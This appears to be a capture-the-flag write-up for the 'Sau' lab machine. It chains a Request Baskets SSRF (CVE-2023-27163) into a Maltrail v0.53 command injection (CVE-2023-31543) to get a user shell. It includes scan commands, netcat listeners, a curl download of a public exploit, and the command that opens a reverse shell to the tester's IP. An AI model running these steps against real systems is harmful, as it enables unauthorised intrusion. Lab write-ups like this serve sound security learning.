Sau
A public Request Baskets instance is vulnerable to SSRF (CVE-2023-27163), letting us proxy into a firewalled internal Maltrail v0.53 service, which in turn has an unauthenticated OS command injection (CVE-2023-31543) that hands back a reverse shell as puma for the user flag.
Overview
Sau is an easy-difficulty Linux box that chains two web vulnerabilities to reach the user flag. The only externally reachable web service is a Request Baskets instance whose SSRF flaw (CVE-2023-27163) lets us proxy requests into a firewalled internal port. Behind that firewall sits Maltrail v0.53, which is vulnerable to unauthenticated OS command injection (CVE-2023-31543) — yielding a reverse shell as puma. This post covers recon through the user flag.
Machine Matrix
Two named CVEs chain end-to-end — CVE-2023-27163 SSRF proxies into firewalled Maltrail CVE-2023-31543 command injection — making public CVEs the dominant, realistic foothold path.
Recon
| Port | Service | Notes |
|---|---|---|
| 22/tcp | OpenSSH 8.2p1 | default |
| 80/tcp | http | filtered |
| 8338/tcp | unknown | filtered |
| 55555/tcp | request-baskets 1.2.1 | HTTP, reachable |
1
2
ports=$(nmap -p- --min-rate=1000 -T4 10.10.11.224 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
nmap -p$ports -sC -sV 10.10.11.224
Ports 80 and 8338 are firewalled (filtered), but 55555 answers HTTP. Browsing there shows a Request Baskets instance — a service for collecting and inspecting arbitrary HTTP requests. The footer reveals Version: 1.2.1.
Enumeration
Request Baskets 1.2.1 is vulnerable to SSRF via CVE-2023-27163 in /api/baskets/{name}: the basket’s forward URL is not restricted, so we can point it at internal/loopback addresses and, with Proxy Response enabled, read back the internal service’s response.
First, confirm the SSRF by creating a basket and pointing its forward URL at a listener:
1
nc -lnvp 80
Create a basket (gear icon → Configuration Settings), set Forward URL to http://<your-ip>, hit Apply, then send a request to the collector:
1
curl http://10.10.11.224:55555/<basket-id>
The listener receives the forwarded GET — SSRF confirmed.
Now weaponise it against the filtered port 80. Edit the basket config: set Forward URL to http://127.0.0.1:80, tick Proxy Response and Expand Forward Path, Apply. Browsing the collector URL (http://10.10.11.224:55555/<basket-id>, not /web/<id>/) now renders the internal service: a Maltrail (v0.53) instance.
Foothold
Maltrail v0.53 has an unauthenticated OS command injection (CVE-2023-31543) in the username parameter of its login endpoint. A public Exploit-DB PoC (51676) injects a reverse shell, which we route through the SSRF basket so it reaches the firewalled Maltrail.
Download the PoC and start a listener:
1
2
curl -s https://www.exploit-db.com/download/51676 > exploit.py
nc -lnvp 4444
Run it, passing our IP, listener port, and the basket collector URL:
1
python3 exploit.py 10.10.14.6 4444 http://10.10.11.224:55555/<basket-id>
A shell returns as puma:
1
uid=1001(puma) gid=1001(puma) groups=1001(puma)
Stabilise the TTY:
1
2
3
4
script /dev/null -c bash
# Ctrl+Z
stty -raw echo; fg
# press Enter twice
User flag
The user flag is readable in puma’s home directory:
1
2
cat /home/puma/user.txt
# [redacted]
Privilege escalation (a NOPASSWD sudo systemctl status pager escape, CVE-2023-26604) is left as an exercise — this post stops at user.